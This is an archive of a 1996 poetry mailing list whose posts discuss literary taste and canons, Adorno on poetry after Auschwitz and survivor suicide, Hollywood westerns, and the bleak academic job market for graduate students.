OF YOUR horror
WITH EVERYONE I MEET.

deny THAT OTHERS
MIGHT TRULY KNOW
YOU AS I DO. . . .

LET THEM SEE IT
AS A MAGNIFICENT REFLECTION O
F THE ONE
WHO MADE IT ALL.

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121. Patrick Foley
Re: taste, judgment, etc...
Tue 3 Dec 1996

Joe,

One candidate for the faith you talk about might be the belief that language does hook onto the world, that, mysterious as it may be, there is something like "representation"; and another, related, that it is possible for one person to communicate with another through language. Scrutinized closely, it can seem as if communication and representation must be impossible -- and yet we go on naming and talking despite our philosophical skepticism, as if we had some animal faith in language. That for poets anyway -- dunno what sustains painters! Belief in light?

---
stray thots ...

I've been thinking lately about revisionism and the formation of alternative & idiosyncratic canons. Olson has his Mayans & Sumerians, Herodotus, etc. It was hardly scandalous for Pound to treat Homer & Dante as important, but Arnaut Daniel, Cavalcanti, Villon -- these guys still aren't taught as the monuments in history Pound thought they were, are they? (And what abt the presence Chinese poetry has in English after Pound -- that's a thorny issue I suppose, but seems related to me.)

Some of this has to do with art and some (esp w/ Pound) with craft.

It's easy to imagine a poet with a different background attaching considerable importance to Henry Rollins and Jim Carroll. It's pretty easy to imagine his best friend, with a similar background, always talking about Villon, carrying around the little paperback with a preface by someone named Williams.

First place I remember seeing John Ashbery's name was in Foucault's book about Raymond Roussel (sp?), an interview, and there's this funny moment where Foucault indicates that he finds Roussel interesting but not nearly as important as Ashbery does -- "Proust he ain't", or words to that effect. Roussel is in Ashbery's idiocanon.

Influential teachers, Blackmur say, have often left an imprint of their idiocanon upon that of their students. Wystan has indicated, I think, that he tries not to do this. The classrooom is tricky. But in many contexts, the expression of taste, the poet's enunciation of his idiocanon, is not so much authoritative as an invitation to construct your own.

Having just finished reading The Pound Era, I'm reminded of something Kenner says, that wide-eyed visitors to St Elizabeth's might come away thinking Roman poetry consists of Catullus and Propertius. And the point, says Kenner, is that Pound always presumed an excellent classical education, and that his comments were offered as a corrective, a shift in emphasis or a filling in of gaps. (Catullus is not in Basil Bunting's idiocanon: he breaks off an "overdraft"/translation in mid-sentence, saying "--and why Catullus bothered to write pages and pages of this drivel mystifies me.")

Good place to stop.
Pat

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122. Jeffrey W. Timmons

Re: taste, writing, and the tools of the master

Tue 3 Dec 1996

> *yes, i am one of those people who can't stand reading faulkner.*

blasphemer!! kidding. really. but seriously: how can you not enjoy the poetics of absalom abasalom!?

jeffrey timmons

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123. Tom Beard
Re: after this
Tue 3 Dec 1996

Steve Evans wrote (quoting Adorno):

> *But it is not wrong to raise the less cultural question whether after Auschwitz you can go on living-- especially whether one who escaped by accident, one who by rights should have been killed, may go on living. His mere survival calls for the coldness, the basic principle of bourgeois subjectivity, without which there could have been no Auschwitz; this is the drastic guilt of him who was spared. (362-63)*

As soon as this thread was raised I thought of Primo Levi, and this last sentence reminds me of the bewilderment (no, not strong enough: try 'despair') I felt upon hearing of Levi's suicide. He had given me hope that writing can sometimes heal without forgetting, that his understated style (which heightened the horror without resorting to sensationalism) helped him to cope and understand.

Was it the 'drastic guilt' that Adorno mentioned that killed him? I haven't read anything that 'explains' why he ended his life - does anyone have any insights?

Thanks,
Tom Beard.

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124. IMBURGIA
Apology.....
Tue 3 Dec 1996

I am the Wife of Listserve addressee, Dan. I thought this was a place to share poetry from the heart! I see from one persons response, that I was wrong! I am sorry! I will never send anything to you again. Please, do not let my sharing reflect on my Husband...who is a serious student and respectful reader of your List. Sincerely, Lynda Imburgia.(Indian name "Spiritdove.")

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125. **amato**
discussable, craft...
Tue 3 Dec 1996

> *I do not have the particular sets of aesthetic judgements I have in my head simply because I inhaled them, helplessly (and that doesn't at all seem to be what Kali was saying either) -- but they're certainly the result of interactions with some specifiable social structures -- and my reactions against those structures are as discussable as what I gathered from them --*

i like this aldon... and i would agree that kali was certainly not suggesting that we're entirely at the mercy of 'the outside'... it's rather a matter of emphasis---how we *discuss* the way we make value is what's at stake here, which is, again, the meta-level of the "discussable" you note... it's the matter of taste at that level that becomes the basis for hard-to-resolve conflict... but i won't beat a dead horse, IF it's dead!...

and e---given that i'm interested in rehabbing the term "professional" for leftist consumption, perhaps i should be so interested in "craft"... but wrt this latter, the problem is that it cuts so many ways, which is what i meant by "crafty" (not to mention the problems in german, and no---i don't know german!---but i'm pretty familiar with the difficulties of translating the latter)...

which craft?... ha!... but you get my drift?---i don't know a word mself that quite captures the sense of "craft"... but i'm just as certain that there's no need to build an entire aesthetic reality solely on same---which has been the legacy of so much that has been paraded around under the banner of "creative writing"...

mebbe we need a new space-craft, new handi-craft?...

rather than "craft," let's say i substitute "careful" wherever i can... and at the same time, let's say i argue that we need both careful & careless in order to produce art (perhaps this goes back to victor's "craft is long, art is short" post?)... at least i wouldn't feel so hemmed in by folks who insist on evaluating my work in terms of "craft" (which folks include ME)... i mean, some of my work speaks to aesthetics based on craft, and some DON'T, yknow?...

best,

joe

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126. **Tom Beard**

Re: tasty

Tue 3 Dec 1996

All of this heated discussion on "taste" brings me back to the gustatory use of the word, and reminds me of the nearest thing to a "flame war" that I've ever been involved in. It was on the list FOODWINE, after I'd been hasty enough to respond instinctively with my (almost literally) gut reaction to someone's suggestion of making broccoli pesto.

In taste (the tongue variety), genetic factors may play as large a part as cultural - while tastes can definitely change (I used to loathe olives, now I can't get enough), it seems that many people describe very different flavours when tasting the same foods. Most leaf vegetables taste bitter and almost sulphuric to me, whereas others describe them as sweet.

Anyway, people get very passionate about their tastes, and regard them as almost a badge of individuality - this may explain why we are so loath to view our tastes as the product of cultural forces. I know I feel a funny kind of kinship with anyone who hates coriander (cilantro) or late Eliot, and sense a strange gulf between me and anyone who dislikes Pinot Noir or Wallace Stevens.

If I'd venture a tentative opion, I'd say that the elements that shape our tastes are more complex and on a finer scale than what we usually regard as cultural forces. Perhaps the subcultures within which we move are more important than capital-C Cultures - I'd feel more at home with a Maori or Asian writer than with a Pakeha accountant.

The number of memes with which we come into contact in our lives is enormous: why is it that some find fertile ground in our brains whereas others have no effect? Some 'infections' can be explained culturally (my taste for electronic music over guitar music fits in with my mathematical background and my love of abstraction), but how can we explain these original predilections? I tend towards the view that there is (and I know that this is a dirty word in these circles) a genetic influence - maybe I was born with a predisposition towards what we call Western Logic. I don't know.

> tastefully yours,
>
> Tom Beard.

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127. Patrick Foley
Re: one seize tastes all
Tue 3 Dec 1996

> *My own sense is that beneath the diction is a proposal along the lines of what Olson argues in _Special View of History_ and elsewhere (I think in the piece on history in _Muthologos_) as the difference between Thucydides and Herodotus--the "objective" reporting of "events" or what Olson loved to translate from 'istorin--to find out for oneself.*

Exactly. What I should've said.

Pat

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128. Shaunanne Tangney
Re: after this
Tue 3 Dec 1996

On Tue, 3 Dec 1996, Jeremy F Green wrote:

> *Adorno said this--or similar versions--in a number of places. To hand, 'Cultural Criticism and Society' in _Prisms_ trans. by Samuel and Shierry Weber (Cambridge, Mass.: MIT Press, 1990; first publd. 1967), page 34: 'Cultural criticism finds itself faced with the final stage of the dialectic of culture and barbarism. To write poetry after Auschwitz is barbaric. And this corrodes even the knowledge of why it has become impossible to write poetry today. Absolute reification which presupposed intellectual progress as one of its elements, is now preparing to absorb the mind entirely. Critical intelligence cannot be equal to this challenge as long as it confines itself to self-satisfied contemplation.'*

an interesting tack can be taken from this infamous stmt in that a. says not that poetry is impossible, but barbaric. to decadents, barbaric was a good thing, or at least a thing of possibility. to the (to mix mediums as well as eras, although it would be intriguing to suggest barth as barbaric. . .)--but i digress: to the "used-upness" (that's barth's term) of any certain genre or form, barbarism is a kind of antidote. the barbarian becomes history's child (Poggioli's phrase), and a "creativity" is possible. neo-greek poet constantin cavafis wrote, in "waiting for the barbarians" --What will happen to us with no barbarians?
Those people, after all, were a solution. holocausts may be more decadent than barbaric (remember: decadant is from the latin _cadre_: to fall; it's roots are in decay, not in that luscious piece of chocolate cake you really shouldn't have), and the barbarians the welcome forces at the gate, the new world after such an apocalypse. . .

--or am i too deep into this frigging dissertation?!
best,
shaunanne tangney

↑ Index

129. Marjorie Perloff
Re: Serbia
Wed 4 Dec 1996

Many of you know Dubravka Durcik and her husband Misko: they have spent time at Buffalo and Dubravka is both poet and critic and has translated many of our essays. I hear from Dubravka quite regularly but lately nothing and meanwhile we have the specter of the student rebellions in Belgrade (where D lives and works) on the nightly news and as usual Clinton is doing absolutely nothing.

My question to the List is: is there something we can specifically do to add to the protest against Milosevic? Would a group letter to the NY Times be in order? I'd love some feedback.

Marjorie Perloff

↑ Index

130. George Bowering
Re: Johny Guitar
Wed 4 Dec 1996

All this talk on westerns has been about movies, I note. As the author of 2 westerns (novels), I have to wonder whether any of you people grew up reading western novels, or whether that had stopped after I was a kid.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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131. George Bowering
Re: M/M & westerns, deah
Wed 4 Dec 1996

> *Good for you George! It's Budd Boetticher and he's a very underrated Western auteur. Haven't seen "The Tall T" yet but I hear it's one of the best.*
> *Didn't he also do "Ride Lonesome" with Randolph Scott?*

He made more films with Randolph Scott (my all time favourite Hollywood actor) than with anyone else. But at the moment I cant remember them. He also made a bullfight picture, and, of course "Legs Diamond". But his westerns: I wish there were a festival of them. I'd subscribe. Trouble is, several of his films are for some reason unavailable to midnight movie TV use. I am so mad at myself, because on my last trip to NY, the day Beckett died, I saw some pirated ones on lower 5th Ave., and didnt get them (I mean for like $5), and instead just got the early "Night of the Living Dead."

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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132. Elizabeth Mathews Losh
Adorno's Greatest Hits
Wed 4 Dec 1996

MS:

Adorno also comes back to it in the essay "Commitment" (trans. Frank McDonagh, page 312 of Arato's _Essential Frankfurt School Reader_) in which he writes "I have no wish to soften the saying that to write lyric poetry after Auschwitz is barbaric" and then goes on to allow that "literature must resist this verdict." His comments in _Negative Dialectics_ (page 362) can also be read as a modification of his original position.

I like the Rothenberg line better.

Liz

On Tue, 3 Dec 1996, Pierre Joris wrote:

> *ms wrote:*

> *can anyone please tell me as to who first said that there could be no writing in the aftermath of the Holocaust?*
>
> *i know there's a direct (and quite possibly a very famous) quote as such, that i've read somewhewre, but i can't for the life of me figure out where.*
>
> *laytahs,*
> *manny savopoulos*
> *"The more things resist me the more rabid I get."*
> *-Samuel Beckett*
>
> *That, manny, was Theodor Adorno who claimed that after Auschwitz it was no longer possible to write poetry (in fact, lets not be lazy & go to the shelves & locate the excat quote -- yes, here it is on the final page of the essay "Cultural Criticism and Society"(p. 34 of _Prisms_ MIT press 1988): "To write poetry after Auschwitz is barbaric. And this corrodes even the knowledge of why it has become impossible to write poetry today." Of course, by that time Celan had already written the TODESFUGE, and in the camps themselves, people wrote poetry -- H.G. Adler comes to mind, off hand.*
>
> *Pierre*
> *--*
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax [redacted] email:[redacted]*
> *http://writing.upenn.edu/epc/authors/joris/*
> *http://www.albany.edu/~tm0900/nomad.html*
> *----------*
> *"A book has to be the axe for the frozen sea inside us.*
> *This I believe."*
>
> *(Kafka, Letter to Oskar Pollack 27 Jan 1904)*
> *==========*

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133. **Bil Brown**

Re: Apology.....

Wed 4 Dec 1996

SpiritDove,

Stay on the list. Why not?

Bil

↑ Index

134. Carnography
Unorthodox Westerns
Wed 4 Dec 1996

(This post is not meant to be condescending at all--it's just that my family was Eurocentric to the point of inter-expatriotism. I hope I won't offend with my odd and learned perspective.)

§§§

(John Wesley would have hated Reeves, but he wouldn't have outshot him.)

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

135. Pierre Joris
Re: after this
Wed 4 Dec 1996

Steve Evans wrote:
>
> Adorno did reconsider his famous statement in "Cultural Criticism
> and Society," most strikingly in the following passage from the
> section of _Negative Dialectics_ called "After Auschwitz":

Steve -- I wonder how much of a "reconsidering" this is; it feels much more like a buttressing of the early position. Let me quote Jeremy Adler from a TLS piece on his father, the poet/writer HG Adler who, as noted in my previous post, did write poetry in & after Auschwitz: "When the celebrated 'After Auschwitz' chapter in *Negative Dialectik* (1966) elaborated his original dictum into an aesthetic, and reformulated his position as a new categorical imperative, namely that we must think and act in such a way that Auschwitz cannot be repeated, this chapter also included a thinly veiled but bitter attack on HG Adler:'All culture after Auschwitz is garbage' Adorno provocatively maintains, and scorns HG Adler as 'the one who got away' (_'der Entronnene'_) for wishing to maintain 'hope' in this hopeless situation. Adorno holds that the only valid response to Auschwitz can be found in Beckett, for whom 'what exists is like a concentration camp. The only hope is, that nothing exists...' Through its dialectical sniping against the religious beliefs which sustained HG Adler in the camps, which Adorno ridicules as _Sch►tzengrabenreligion_ ('trench religion'), his critique turns into an unintended attack on Judaism too." (TLA October 4, 1996)

> *Perennial suffering has as much right to expression as a tortured man has to scream; hence it may have been wrong to say that after Auschwitz you could no longer write poems. But it is not wrong to raise the less cultural question whether after Auschwitz you can go on living--especially whether one who escaped by accident, one who by rights should have been killed, may go on living. His mere survival calls for the coldness, the basic principle of bourgeois subjectivity, without which there could have been*

> *no Auschwitz; this is the drastic guilt of him who was spared. (362-63)*
>
> *And a few pages later:*
>
> *All post-Auschwitz culture, including its urgent critique, is garbage. In restoring itself after the things that happened without resistance in its own countryside, culture has turned entirely into the ideology it had been potentially-- had been ever since it presumed, in opposition to material existence, to inspire that existence with the light denied it by the separation of mind from manual labor. Whoever pleads for the maintenance of this radically culpable and shabby culture becomes its accomplice, while the man who says no to culture is directly furthering the barbarism which our culture showed itself to be. (367)*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

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136. Jordan Davis
John Ashbery / Lisa Jarnot
Wed 4 Dec 1996

Non-readers of the TLS may be interested in John Ashbery's list of international books of the year -- one of the three books he chose to mention (and quote quite a bit from) was _Some Other Kind of Mission_ by Lisa Jarnot. Get your copy now before the tracers of Ashbery's idiocanon scarf up the supply! -- J Davis

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137. **Mark Wallace**

what graduate studies do

Wed 4 Dec 1996

I'd like to agree with Ron Silliman's comments the other day about the role that graduate students play in keeping employed professors employed, so to speak, and also in the need for English departments to engage in the honest telling of the tale about the job prospects ahead for those who pursue graduate degrees.

The situation is made more complex, of course, by the way the economic/social investment of English department professors has profound links to their psychological reactions to this problem. Many English department professors got their jobs at a time when there were many jobs; such professors often find it difficult actually to BELIEVE, in my experience, how different the experience of their graduate students is from their own. Academic jobs are often not great jobs by any means; nonetheless the difference between having a stable academic position, and a part-time poorly paid adjunct position or some variation thereof, can be intense. I recall a professor I know, actually quite sympathetic to the cause of part-timers and graduate students, telling me about his plans for a summer European vacation and asking me what I was doing in the summer; when I said "looking for some kind of temp job so I can make it through to the fall," he was greatly sympathetic, but also SHOCKED--oddly enough, it simply hadn't occured to him that part-time professors and graduate students don't often go on vacations or spend the summer working on their writing, but spend a lot of time scrambling for other part-time work of various kinds.

Sometimes, of course, full-time professors can be actively complicit in hiding economic realities from their graduate students; in many other cases, it's not so much an active complicity as rather a collective institutional delusion. In a situation where the very possibility of tenure in general is now coming under intense attack (such as the case at Minnesota), many professors (who were not, it must be admitted, ever all that attuned to the social realities of their country) simply can't DEAL with the fact that, indeed, that there literally may be no such thing as permanent tenured positions in English AT ALL in the United States in, say, 20-30 years from now. By no means am I defending those professors who can't accept this reality, but I am suggesting how their own desires/investments in their own professional life make certain realities pass them by.

The main reaction of professors, at the university where I was in graduate school, was that there was still a "proper" way to get a university job, and anyone who didn't follow that "proper" method would be themselves personally responsible for the failure to get a job. "Proper" method meant, of course,

choosing an academic field, reading thoroughly ALL academic scholars/critics who write in that field, reading the particular small portion of the academic literary canon that such a field covered, and then preparing yourself to present your "expertise" when job interviews rolled around, assuming they ever did.

Then, of course, there are the collective institutional delusions of students, both graduates and undergraduates. These delusions seem to me far more tragic. Quite often among my students, graduate and undergraduate, the love of literature is incredibly intense, all consuming. They love books so much, and they want to devote their lives to passing that love on to others. They want to do something interesting with their lives--who can blame them? One can tell such students about "social reality" and one SHOULD tell them. But 20 year olds, even 25 year olds, have such intense belief in the POWER OF WHAT THEY LOVE that it can be easy for them not to deal with economic consequences that in many ways will only emerge later. You can tell them that there are no jobs, no future in this, you'll have to make a living some other way. But how to make someone who desperately wants to believe that they can make a living doing what they love that they live in a country where, increasingly, that is an impossibility?

I had a 21-year old student in my office the other day. She LOVES Modernist poetry; Stein is amazing, Williams is amazing, she wants more of it. She wants to go to graduate school. I tell her about these economic realities, and she understands them--I mean this seriously, she really does. And then I ask her "Why do you want to go to graduate school?" And she says, "Because literature is what MATTERS to me. It may be ALL that matters to me." And I wonder to myself what to say to her. That we live in a society where feeling the way she does may lead her to future serious problems? That maybe she's better off not going to graduate school? Well, she knows that, and she doesn't care. And I think to myself, you know, that's the way I felt too--in fact, it's the way I still feel. I know that, and I don't care. And I end up telling her that I've devoted my own life to writing, despite the fact of what was going to happen to me, that since I've spent years doing the things I think I should do, despite what anyone otherwise tells me, the only thing I can tell her to do is to devote her life to what she wants to devote it to, and to what she loves. But pay attention to practical reality, I tell her, you MORE THAN ANYONE have got to pay attention to practical reality. And she hears me, she does, and she walks out of my office, and I have no idea what is going to happen to either one of us.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |

| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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138. **Pritchett,Pat**
Re: after this
Wed 4 Dec 1996

You can add to what is prob. a very long list Anja Spiegelman, mother of _Maus_ cartoonist Art Spiegelman. I'm reading _Maus_ for the first time, for a class called "Narrative & the Arts," and am completely caught up in it; I find it just amazing. I think the late Terrence Des Pres addresses the issue of "survivor suicide" in his book _The Survivor_ but it's been awhile and I can't remember now for sure. Robert Jay Lifton may also address it in some of his work, though he has written more about the survivors of Hiroshima.

Patrick Pritchett

From: maria damon
To: POETICS
Subject: Re: after this
Date: Wednesday, December 04, 1996 8:46AM

many survivors of the camps committed suicide. one of them, thaddeus borowski
said, the whole world is a concentration camp. celan was another.--maria d

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139. **maria damon**
Re: after this
Wed 4 Dec 1996

---

many survivors of the camps committed suicide. one of them, thaddeus borowski said, the whole world is a concentration camp. celan was another.--maria d

In message <[redacted]> UB Poetics discussion group writes:
> Steve Evans wrote (quoting Adorno):
>
> > But it is not wrong to raise the less cultural
> > question whether after Auschwitz you can go on living--
> > especially whether one who escaped by accident, one who by
> > rights should have been killed, may go on living. His mere

> > survival calls for the coldness, the basic principle of
> > bourgeois subjectivity, without which there could have been
> > no Auschwitz; this is the drastic guilt of him who was
> > spared. (362-63)
>
> As soon as this thread was raised I thought of Primo Levi, and this last
> sentence reminds me of the bewilderment (no, not strong enough: try
> 'despair') I felt upon hearing of Levi's suicide. He had given me hope
> that writing can sometimes heal without forgetting, that his understated
> style (which heightened the horror without resorting to sensationalism)
> helped him to cope and understand.
>
> Was it the 'drastic guilt' that Adorno mentioned that killed him? I
> haven't read anything that 'explains' why he ended his life - does
> anyone have any insights?
>
>
>
> Thanks,
> Tom Beard.

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140. Christopher Alexander
Re: taste, judgment, etc...
Wed 4 Dec 1996

---

kali writes:
> And, if wystan had in mind the sort of tastes Pound expressed--"violent
> narrow tastes," well, that doesn't seem to me a good example of the sort
> of taste that is *not* related to a distinct set of cultural values. Can
> you count Pound's politics as unrelated to his poetry? I can't.

and of course pounds modernism can be read, esp with relation to mauberley, as in part a (complicated) rxn to/against the inheritance of the aesthetic mvmt--specifically its implication in the cause of WWI: for two gross of broken statues, etc. so even the "violent narrow tastes" of the later pound have ultimately to be situated in ez's interrogation of the relation between 'taste' and larger cultural structures--whatever distur- no, disgusting errors that interrogation was to lead him into. .. christopher alexander, etc. [redacted]

"The second edition of this book consists largely of
a reproduction of the first edition, with additional
theorms and examples."

--t.m. macrobert,
an introduction to the theory of infinite series

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141. **Pierre Joris**
Re: Johny Guitar
Wed 4 Dec 1996

George Bowering wrote:
>
> All this talk on westerns has been about movies, I note. As the author of 2
> westerns (novels), I have to wonder whether any of you people grew up
> reading western novels, or whether that had stopped after I was a kid.
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]
> e-mail: [redacted]

At 8 I read a wonderful German translation (it cut all the religio-pompous naturo-romance verbiage down to size) of james fenimore Cooper's PRAIRIE -- with the early eastern-westerns right after that -- my love for upstate new york, the Hudson & lake areas I always ascribe to leatherstocking country being the psychotopography of my early imagination of the foreign -- just as discivering the djott el-djerid, the salt marsh/desert between the algerian oasis of the souf and the tunisian city of Gafsa was an instant recognition of the much beloved topography of the open chapter of volume 1 of Karl May's 72 volumes of "Reise-erz﹟hlungen" -- which of course include the many volumes set in the "Wild West" with Old Shatterhand and Winnetou as heros.

After that it was on to Ernest Haycox, Zane Gray, Louis L'Amour & hundreds of German comics-type western tales -- then Lucky Luke, the great French comic strip.

Only later the "serious" writings dealing with the modern west by the likes of Douglas Woolf,William Eastlake, Ed Dorn (the fiction, not only *Slinger* and *Gran Apacheria*), etc.

guess I better hunker down & read them bow'ring novellas too now...

Pierre
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
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142. **amato**
westerns, odds & ends...
Wed 4 Dec 1996

---

yeah, ok, i'll throw in with the boetticher fans here too, what with the seven or so randolph scott westerns he made (and burt kennedy scripted)... *the tall t* (with, again, richard boone) and *buchanan rides alone* are my favorites... boetticher's *the bullfighter and the lady* is pretty much *the* bullfighting flick, though his life itself was in some ways more amazing than his films... he wrote an autobiography, as i recall...

but i like anthony mann's stuff better!...

and hey: i think van kilmer's doc pretty much makes *tombstone*, is the centerpiece of that film... i savor every moment he's onscreen---really quite something, how he plays that homoerotic angle, and even more reason why i didn't like his batman... but nothin agains dennis quaid either, or for that matter victor mature's elegant handling...

and george: i must admit, i've read only a few westerns (strictly speaking)... didn't even care much for western comic books when i was into comics, go figure... sorry man!... don't quite know why this is (talk about not thinking through my tastes!), though it may perhaps be in the more conventional prose that comprises so much of this writing (i haven't read your stuff, so please don't take offense!)... i've tried one louis l'amour, and it didn't do nothin' for me... though cormak mccarthy is another story...

& three cheers for primo levi, using his *the periodic table* next semester in my, uhm, tech. writing class...

best,

joe

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143. **amato**
Re: Unorthodox Westerns
Wed 4 Dec 1996

---

haven't seen *ride in the whirlwind*, rob, but this and *the shooting* were (according to maltin here, again) filmed simultaneously... and the latter is worth checking out (esp. jack nicholson's perf.), as is lang's pic you mention...

i do understand the reservations you express wrt *the searchers*... these just can't be wished away, and whether one can 'forgive' (forgive me this word) any work its age or flaws (let's say) is probably going to be a matter of that complex kali refers to... personally, i find great solace in *the searchers* just in terms of the way the film moves, its use of landscape, its more quiet, less assuming features (as opposed, say, to the more subliminal aspects of wayne's character)... but i'd say you'd have to be so forgiving to appreciate most of ford, in fact---even a flick which i adore mightily, *the grapes of wrath* (though perhaps less so here)...

as to wood's "homecoming," it's no more problematic, on the surface of it, than her having been abducted in the first place, no?... though perhaps weak as a form of racial closure in today's terms, what's at least being hinted at (and again, i agree---at the expense of natives) is that racial otherness can be accommodated... i mean, it would hardly be realistic, so to speak, if ethan (or anybody else in that flick---and let's keep in mind the "half-breed" status of jeffrey hunter) did a complete about-face... but that the film places so much dramatic emphasis on reunion clearly assuages white anxieties, yes...

best,

joe

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144. **Kali Tal**
Re: after this
Wed 4 Dec 1996

---

maria damon wrote:

> *many survivors of the camps committed suicide. one of them, thaddeus borowski said, the whole world is a concentration camp. celan was another.--maria d*

suicide among trauma survivors of all kinds is quite common. suicides of american viet nam war combat veterans are very high, as are suicides of rape

and/or incest survivors. lots of theories about this. my own is that the burden of dual vision is sometimes too difficult to bear. if you read tadeusz borowski (whose _this way to the gas, ladies and gentleman_ is one of the few holocaust texts to make strong use of dark humor) it seems to me pretty understandable that life inside his head would be intolerable.

i tend to think of trauma as a "plot violation." we've all got these stories we live our lives by--get up, go to work, catch the bus home, etc. of course, there *is* no plot, but the pretense that there is one works for most of us, unless (to lean on Eco for a moment), trauma forces us to discover its absence by mistake. trauma is that moment in life when all our stories fail and we find ourselves thinking "but this isn't supposed to be happening to me!"

those who spend a significant period of time in a traumatic environment (a concentration camp, a combat zone, a home where violent sexual abuse becomes the norm) are forced to generate new stories to explain what is happening to them. usually these stories have little to do with the stories which shaped their expectations in their "previous lives."

at the conclusion of the traumatic experience (the release from the camp, the DEROS date, the escape from the violent home), the survivor is returned to a world where everyone else's stories are essentially intact. survivor authors are alternately compelled to tell their tales of trauma (under the banner of "never again," or other similar calls) and in hopeless despair about the impossibility of conveying their experience with mere words. i think it is at the moment when the gap seems completely unbridgeable, and the efforts the author (or storyteller) have made seem to have been to no avail, that hopelessness sets in, and suicide seems like a viable option. guilt may have something to do with it, but i think only because the telling of the tale doesn't seem to pay the debt to the dead.

i always think of two stories when this subject comes up. one is of a woman who we interviewed when i was working for the u.s. holocaust memorial museum. this woman was in her sixties, healthy and successful, with several grandchildren of whom she was very proud. she told her story of survival at auschwitz and then looked at the interviewer in a puzzled fashion. i don't have the transcript here, but she said something like, "it's so strange." and she gestured to her rather plump form. "right now, i'm on a diet. but part of me is always in the camps, and always hungry. i've never gotten out of the habit of carrying biscuits in my pocket." dual vision. survivors always see the world through two sets of eyes--one caught forever in the traumatic environment; one which operates in the everyday of the untraumatized world.

the other story concerns a viet vet friend of mine who was asked, one time too many, if _platoon_ was a "realistic" viet nam war movie. he heaved a sigh of

great exasperation and said that _no_ war movie could be realistic. "a realistic war movie would be one in which, suddenly, in the midst of the picture, someone came out and sprayed the audience with machine gun fire while every third seat exploded." survivors know that trauma can never be conveyed or related by storytelling--words don't rupture people's personal plots, though they may be able to impress people's conscious minds. survivors know that in the case of trauma, only being is believing.

kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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145. Mark W Scroggins
Re: what graduate studies do
Wed 4 Dec 1996

As a former colleague of Mark's in adjunct thralldom (hi Mark), I read his post with nothing but sad assent. I suppose I am one of the very few lucky ones of our generation who've actually gotten a tenure-track job, at a place where tenure is under the same creeping attack it is in so many places--but it looks like it'll last until I get _mine_, so perhaps I speak out of some unconscious comfort.

This isn't the world's greatest job--but the teaching load (3/2) and the pay are far better, I know, than I could expect from many fulltime positions; and it's lightyears better than adjuncting. (And I know as well about temping summers, and how fulltime faculty too often seem quite oblivious to the extremities to which adjuncts resort to pay the rent.)

I know about the consuming love for poetry that Mark talks about--and I know as well that I can't imagine doing anything else, at least given the way I've spent the last ten years. His advice to his graduate student strikes me as the only thing one can say. Writers and scholars of Mark's and my generation were led down a primrose path in a way--our mentors saw our devotion and love of writing, and encouraged us to do what they thought we could do well and what they thought would be rewarded in the real world. But those rewards simply aren't there anymore--perhaps the most honest thing to do would simply be to close down or radically curtail the PhD programs for the foreseeable future, to make it clear that if one wants to make a life out of writing that one will have to do outside of the academy. I'm glad to be teaching in a department that has no

PhD program--there's no lying involved here: our MA students know that the only real career prospects for them lie in teaching in the public schools or the community college system here in Florida (and happily enough, there seems to be lots of demand for those people); most of them have no illusions about what their futures hold.

And perhaps I've been a bit naive, but watching the actual hiring process from the inside, rather than as an anxious interviewee, has rid me of many illusions. Watching sausage being made doesn't hold a candle to seeing universities make decisions on new faculty. The entire business is so sordid and interested--given the highminded rhetoric in which it's couched--that I'm tempted to advise potential PhD candidates to go and take the foreign service exam or apply for the CIA--those organizations at least don't pretend to be pursuing some sort of disinterested goals.

Thanks, Mark, for a thoughtful and rather moving post. See you later this month at the meat market.

Mark Scroggins

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146. **amato**
Re: what graduate studies do
Wed 4 Dec 1996

---

mark, nice post!...

i excerpt from something i posted to another list:

> *and as a way of concretizing said question, i'd like to be certain that we observe at the outset the probable vast range of salary/material differences represented by particpants... undergrads, grads, profs---even these educational distinctions, and places of work, don't do justice to our individualized access to material means...*
>
> *further, we have some public basis for considering just how disparate the educational context per se can be... i note in the 18 october issue of the chronicle the listing of "best paid employees at 479 private colleges"... and i note the six highest salaries at my institution (iit) to range from a low of $146,630 (plus $10,230 benefits) for our dean to a high of $195,780 (plus $17,280) for our president... both of which are well in excess of the highest paid tenured humanities prof---around $40,000 (plus maybe $8,000 in benefits)... which is itself *below* the avg. assistant prof. salary on our campus (from an earlier chronicle piece) of approx. $43,000...*
>
> *compare this with the salary range of the highest paid institution, cornell (based on my quick scan)... a low of $129,000 for the president (plus an amazing $165,269 in benefits---must be a parachute, no?) to a high of (get*

> *this) $1,729,709 for the chair of cardiothoracic surgery (plus $46,371 in benefits!)... in fact, med. school profs. and admins. seem to be absurdly high all the way 'round...*
>
> *can any of you make these numbers speak to your own life and work situations?... or better, how on earth to do this?*

anyway, my point in the above was to ground out a discussion of pay for *virtual* courses and the like in terms of postsecondary material disparities... i've found that it's just not possible to talk about wage or opportunity w/o some fine distinctions, which reveal some crude inequities... and that we had all better tune in to precisely what those inequities are...

on the one hand, i'm a proponent of collective bargaining... at the same time, i have to reiterate what so many have already said: that one should pursue a phd b/c one loves the pursuit, and plan on making money doing something other than teaching...

